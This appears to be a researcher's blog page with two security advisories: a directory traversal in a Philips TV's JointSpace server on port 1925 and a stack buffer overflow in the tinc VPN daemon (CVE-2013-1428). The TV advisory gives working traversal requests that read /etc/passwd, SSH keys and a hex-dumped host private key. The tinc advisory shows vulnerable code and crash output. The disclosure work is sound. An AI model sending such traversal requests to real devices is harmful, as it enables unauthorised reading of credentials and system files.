JointSpace Server Directory Traversal Vulnerability on a Philips 6000 Series Smart LED TV

September 16, 2013 at 02:23 AM | categories: advisory

The JointSpace Remote API is a Philips TV built-in interface for external programs to remote control the TV. Therefore, a HTTP server runs on TV devices on TCP port 1925 and provides a REST API. This JointSpace server is affected by a directory traversal vulnerability, which allows an attacker with access to the same network to retrieve files from the TV.

Affected Products

The test system is a Philips 42PFL6687K/12 running firmware version QF1EU-0.150.88.0_bld72a with the build timestamp 20/06/2013 02:11:53. Other products may be affected, too.

Impact

Due to a very limited access to a test device, this vulnerability was not investigated further, but access to sensitive information may be possible. Since the TV is capable of storing credentials for Internet services such as social media platforms and payment services, the possibility of leaking sensitive data cannot be precluded.

Proof of Concept

Files can be accessed via HTTP requests as shown below.

Reading the system's password file:

$ telnet 192.168.2.105 1925
Trying 192.168.2.105...
Connected to 192.168.2.105.
Escape character is '^]'.
GET /../../../../../etc/passwd HTTP/1.0

HTTP/1.0 200 OK
Connection: close
Access-Control-Allow-Origin: *
Cache-Control: no-cache
Content-type: application/octet-stream
Date: Sat, 14 Sep 2013 21:22:11 GMT

root:rwiafNx/rlFbI:0:0:root:/root:/bin/sh
bin:*:1:1:bin:/bin:/dev/null
daemon:*:2:2:daemon:/sbin:/dev/null
adm:*:3:4:adm:/var/tmp:/dev/null
ftp:*:14:50:FTP User:/var/tmp:/dev/null
nobody:*:99:99:Nobody:/:/dev/null
rpcuser:x:29:29:RPC Service User:/var/tmp:/dev/null
nfsnobody:x:65534:65534:Anonymous NFS User:/var/tmp:/dev/null
Connection closed by foreign host.

Reading root's authorized keys:

$ curl -s "http://192.168.2.105:1925/../../../../root/.ssh/known_hosts" -o - 
172.21.1.1 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIE9RifQ74XpzUnEnkAnuBl84l
N7wVONqs5ZOxdEEJjFp2QMwHar+6H1OG7N02P5LCWoxHkfq92uA22ZoxrSctzgWSxhW/rXSs3kR
ikeasN4JUYIHg7MkHssQa0XoqfhiwxhCt7U0jDSq04Z+I21YwhmP49I82750tXRdAH8GTYB2f
172.21.1.2 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgwCIE9RifQ74XpzUnEnkAnuBl84l
N7wVONqs5ZOxdEEJjFp2QMwHar+6H1OG7N02P5LCWoxHkfq92uA22ZoxrSctzgWSxhW/rXSs3kR
ikeasN4JUYIHg7MkHssQa0XoqfhiwxhCt7U0jDSq04Z+I21YwhmP49I82750tXRdAH8GTYB2f

Reading host's SSH keys:

$ curl -s "http://192.168.2.105:1925/../../../..//etc/dropbear/dropbear_rsa_host_key" -o - | hd
00000000  00 00 00 07 73 73 68 2d  72 73 61 00 00 00 03 01  |....ssh-rsa.....|
00000010  00 01 00 00 00 83 00 88  13 d4 62 7d 0e f8 5e 9c  |..........b}..^.|
00000020  d4 9c 49 e4 02 7b 81 97  ce 25 37 bc 15 38 da ac  |..I..{...%7..8..|
00000030  e5 93 b1 74 41 09 8c 5a  76 40 cc 07 6a bf ba 1f  |...tA..Zv@..j...|
00000040  53 86 ec dd 36 3f 92 c2  5a 8c 47 91 fa bd da e0  |S...6?..Z.G.....|
00000050  36 d9 9a 31 ad 27 2d ce  05 92 c6 15 bf ad 74 ac  |6..1.'-.......t.|
00000060  de 44 62 91 e6 ac 37 82  54 60 81 e0 ec c9 07 b2  |.Db...7.T`......|
00000070  c4 1a d1 7a 2a 7e 18 b0  c6 10 ad ed 4d 23 0d 2a  |...z*~......M#.*|
00000080  b4 e1 9f 88 db 56 30 86  63 f8 f4 8f 36 ef 9d 2d  |.....V0.c...6..-|
00000090  5d 17 40 1f c1 93 60 1d  9f 00 00 00 82 3d a9 8a  |].@...`......=..|
000000a0  b0 d4 8d af 93 a4 0a 9e  05 c7 ba 2e 40 43 cb 88  |............@C..|
000000b0  c6 f0 46 47 9c a4 03 66  41 5f f6 46 be e0 91 3c  |..FG...fA_.F...<|
000000c0  7c 98 11 d1 ee a3 da 64  46 3a 59 a6 46 39 26 f1  ||......dF:Y.F9&.|
000000d0  f1 4e 9f aa 5f a0 01 8a  ea 99 ff 26 45 55 2b 8c  |.N.._......&EU+.|
000000e0  14 39 12 3f ac 75 30 ad  ac 0b fb 19 28 de 01 17  |.9.?.u0.....(...|
000000f0  4f 66 1a 91 0b d1 43 0b  be 65 07 c3 e8 77 39 26  |Of....C..e...w9&|
00000100  7d 2a 89 5a be 8b 11 8b  b1 c3 25 73 a2 2b 7e 65  |}*.Z......%s.+~e|
00000110  67 77 76 f7 b3 d7 90 9f  f0 9b b9 db 48 66 bd 00  |gwv.........Hf..|
00000120  00 00 42 00 ef 01 85 f2  72 67 11 0a 55 ac b2 86  |..B.....rg..U...|
00000130  28 0c 54 8f 80 21 c4 f5  ad 7b 1a 0e 65 e8 fc 9a  |(.T..!...{..e...|
00000140  58 0a 49 2b a7 70 ee 33  69 a5 a9 2a 14 29 59 67  |X.I+.p.3i..*.)Yg|
00000150  12 b9 85 f6 ec ae 84 31  63 af 4f de 14 37 e8 2c  |.......1c.O..7.,|
00000160  5f d5 37 0a 55 00 00 00  42 00 91 c0 c3 57 57 b2  |_.7.U...B....WW.|
00000170  f4 88 af 3f 37 50 47 59  65 0a 2a 1a ba 18 b7 11  |...?7PGYe.*.....|
00000180  90 e2 ae 3e 06 80 c8 4b  40 16 22 02 8c 18 4b 0d  |...>...K@."...K.|
00000190  16 3b 6d 01 30 a5 b9 31  36 b7 4d cd 68 5a e8 66  |.;m.0..16.M.hZ.f|
000001a0  47 b8 b2 9d f7 2d a5 7b  0e e4 23                 |G....-.{..#|
000001ab

Reading /proc/cpuinfo:

$ curl 'http://192.168.2.105:1925/../../../../proc/cpuinfo' -o -
system type                : Digital TRIDENT SYSTEM
processor                  : 0
cpu model                  : MIPS 74Kc V5.0  FPU V0.0
BogoMIPS                   : 499.92
wait instruction           : yes
microsecond timers         : yes
tlb_entries                : 64
extra interrupt vector     : yes
hardware watchpoint        : yes, count: 4, address/irw mask: [0x0000, 0x0b30, 0x0b00, 0x0e48]
ASEs implemented           : mips16 dsp
shadow register sets       : 1
core                       : 0
VCED exceptions            : not available
VCEI exceptions            : not available

Workaround

A workaround is currently not known.

Timeline

Stack-based Buffer Overflow in the VPN Software tinc for Authenticated Peers

April 22, 2013 at 11:42 PM | categories: advisory

The VPN software tinc is affected by a buffer overflow in a protocol parser, which results in a memory corruption and possibly a code execution. An attacker might trigger this vulnerability from a remote side via the network. Triggering this vulnerability requires being a known and authenticated peer in order to speak the so-called meta protocol.

CVE-2013-1428 was assigned to this vulnerability.

Affected Products

The vulnerability is known to be present in tinc version 1.1-pre6 and 1.0.19. Other versions might be affected as well. Version 1.0.19 is the default version on Ubuntu Linux 12.10 and is available in the FreeBSD ports collection.

Recommendation

The vulnerability is fixed in tinc versions 1.0.21 and 1.1pre7. It is recommended to upgrade existing installations.

Details

In net_packet.c, the function receive_tcppacket() declares a stack-local structure and this structure contains a buffer of 1661 elements. The function uses memcpy() to copy data from a helper buffer. This helper buffer contains network data and might become larger than the destination buffer. If an attacker sends a specially crafted packet, he might overwrite memory beyond the buffer boundaries.

Net.h:

typedef struct vpn_packet_t {
  length_t len;   /* the actual number of bytes in the `data' field */
  int priority;   /* priority or TOS */
  uint32_t seqno; /* 32 bits sequence number (network byte order of course) */
  uint8_t data[MAXSIZE]; // auditor remark: MAXSIZE == 1661
} vpn_packet_t;

Net_packet.c:

void receive_tcppacket(connection_t *c, const char *buffer, int len) {
  vpn_packet_t outpkt;

  outpkt.len = len;
  if(c->options & OPTION_TCPONLY)
    outpkt.priority = 0;
  else
    outpkt.priority = -1;
  // auditor remark: len > outpkt.data[MAXSIZE] ?
  memcpy(outpkt.data, buffer, len); 

  receive_packet(c->node, &outpkt);
}

Meta.c:

bool receive_meta(connection_t *c) {
  int inlen;
  char inbuf[MAXBUFSIZE]; // MAXSIZE +128
  char *bufp = inbuf, *endp;
[...]
  inlen = recv(c->socket, inbuf, sizeof inbuf - c->inbuf.len, 0);
[...]
  do {
[...]
    while(c->inbuf.len) {
      /* Are we receiving a TCPpacket? */

      if(c->tcplen) {
    char *tcpbuffer = buffer_read(&c->inbuf, c->tcplen);
    if(!tcpbuffer)
      break;
    if(!c->node) {
[...]
    } else {
      if(c->allow_request == ALL) {
        receive_tcppacket(c, tcpbuffer, c->tcplen);
      } 
[...]
    }
        c->tcplen = 0;
      }
[...]
    }
  } while(inlen);

  return true;
}

According to receive_meta(), it is required that all meta protocol commands are enabled for a client in order to call receive_tcppacket(). These commands are enabled, if the is client successfully authenticated.

Proof of Concept

This python script mocks the authentication procedure and overflows the buffer afterwards, which results in a memory corruption as shown below.

Linux:

$ sudo /usr/sbin/tincd -D -d 5 -c /usr/local/etc/tinc/testnet/
tincd 1.0.19 (Jun 29 2012 14:10:44) starting, debug level 1
/dev/net/tun is a Linux tun/tap device (tun mode)
Unconfigured tinc-up script, please edit!
Listening on 0.0.0.0 port 655
Listening on :: port 655
Ready
Connection from 10.0.0.123 port 44645
Connection with testnode2 (10.0.0.123 port 44645) activated
*** buffer overflow detected ***: /usr/sbin/tincd terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x65)[0xb749f065]
/lib/i386-linux-gnu/libc.so.6(+0x102e1a)[0xb749de1a]
/usr/sbin/tincd[0x804f42b]
/usr/sbin/tincd[0x804e12f]
/usr/sbin/tincd[0x804ec22]
/usr/sbin/tincd[0x804b71c]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb73b44d3]
/usr/sbin/tincd[0x804b8b9]
======= Memory map: ========
08048000-08069000 r-xp 00000000 08:01 308865     /usr/sbin/tincd
08069000-0806a000 r--p 00020000 08:01 308865     /usr/sbin/tincd
0806a000-0806b000 rw-p 00021000 08:01 308865     /usr/sbin/tincd
0806b000-080dc000 rw-p 00000000 00:00 0 
096c6000-096e7000 rw-p 00000000 00:00 0          [heap]
b7369000-b7385000 r-xp 00000000 08:01 132074     /lib/i386-linux-gnu/libgcc_s.so.1
b7385000-b7386000 r--p 0001b000 08:01 132074     /lib/i386-linux-gnu/libgcc_s.so.1
b7386000-b7387000 rw-p 0001c000 08:01 132074     /lib/i386-linux-gnu/libgcc_s.so.1
b739a000-b739b000 rw-p 00000000 00:00 0 
b739b000-b753e000 r-xp 00000000 08:01 132049     /lib/i386-linux-gnu/libc-2.15.so
b753e000-b753f000 ---p 001a3000 08:01 132049     /lib/i386-linux-gnu/libc-2.15.so
b753f000-b7541000 r--p 001a3000 08:01 132049     /lib/i386-linux-gnu/libc-2.15.so
b7541000-b7542000 rw-p 001a5000 08:01 132049     /lib/i386-linux-gnu/libc-2.15.so
b7542000-b7545000 rw-p 00000000 00:00 0 
b7545000-b7548000 r-xp 00000000 08:01 132064     /lib/i386-linux-gnu/libdl-2.15.so
b7548000-b7549000 r--p 00002000 08:01 132064     /lib/i386-linux-gnu/libdl-2.15.so
b7549000-b754a000 rw-p 00003000 08:01 132064     /lib/i386-linux-gnu/libdl-2.15.so
b754a000-b756b000 r-xp 00000000 08:01 304244     /usr/lib/i386-linux-gnu/liblzo2.so.2.0.0
b756b000-b756c000 r--p 00020000 08:01 304244     /usr/lib/i386-linux-gnu/liblzo2.so.2.0.0
b756c000-b756d000 rw-p 00021000 08:01 304244     /usr/lib/i386-linux-gnu/liblzo2.so.2.0.0
b756d000-b756e000 rw-p 00000000 00:00 0 
b756e000-b7585000 r-xp 00000000 08:01 132183     /lib/i386-linux-gnu/libz.so.1.2.7
b7585000-b7586000 r--p 00016000 08:01 132183     /lib/i386-linux-gnu/libz.so.1.2.7
b7586000-b7587000 rw-p 00017000 08:01 132183     /lib/i386-linux-gnu/libz.so.1.2.7
b7587000-b7719000 r-xp 00000000 08:01 182182     /lib/i386-linux-gnu/libcrypto.so.1.0.0
b7719000-b7728000 r--p 00192000 08:01 182182     /lib/i386-linux-gnu/libcrypto.so.1.0.0
b7728000-b772f000 rw-p 001a1000 08:01 182182     /lib/i386-linux-gnu/libcrypto.so.1.0.0
b772f000-b7732000 rw-p 00000000 00:00 0 
b7744000-b7747000 rw-p 00000000 00:00 0 
b7747000-b7748000 r-xp 00000000 00:00 0          [vdso]
b7748000-b7768000 r-xp 00000000 08:01 132027     /lib/i386-linux-gnu/ld-2.15.so
b7768000-b7769000 r--p 0001f000 08:01 132027     /lib/i386-linux-gnu/ld-2.15.so
b7769000-b776a000 rw-p 00020000 08:01 132027     /lib/i386-linux-gnu/ld-2.15.so
bfded000-bfe0e000 rw-p 00000000 00:00 0          [stack]

FreeBSD:

root@freebsd:/root # tincd -D -d 5 -c /usr/local/etc/tinc/
tincd 1.0.19 (Apr  2 2013 18:11:46) starting, debug level 1
Cannot open config file /usr/local/etc/tinc//hosts/testnode3: No such file or directory
/dev/tun0 is a Generic BSD tun device
Listening on :: port 655
Listening on 0.0.0.0 port 655
Ready
Connection from 10.0.0.123 port 48949
Connection with testnode2 (10.0.0.123 port 48949) activated
Got fatal signal 10 (Bus error: 10)
Not restarting.

Timeline

  • 2013-04-11: Informed the author of tinc and initial advisory
  • 2013-04-12: Fix available
  • 2013-04-13: Advisory updated
  • 2013-04-22: New version of tinc published
  • 2013-04-22: Advisory published
  • 2013-12-12: Tobias Ospelt published a metaploit module for exploiting this vulnerability.

Acknowledgment

Many thanks to Guus Sliepen and the Debian Security Team for fixing and coordinating this issue.

Contact

Martin Schobert schobert@sitsec.net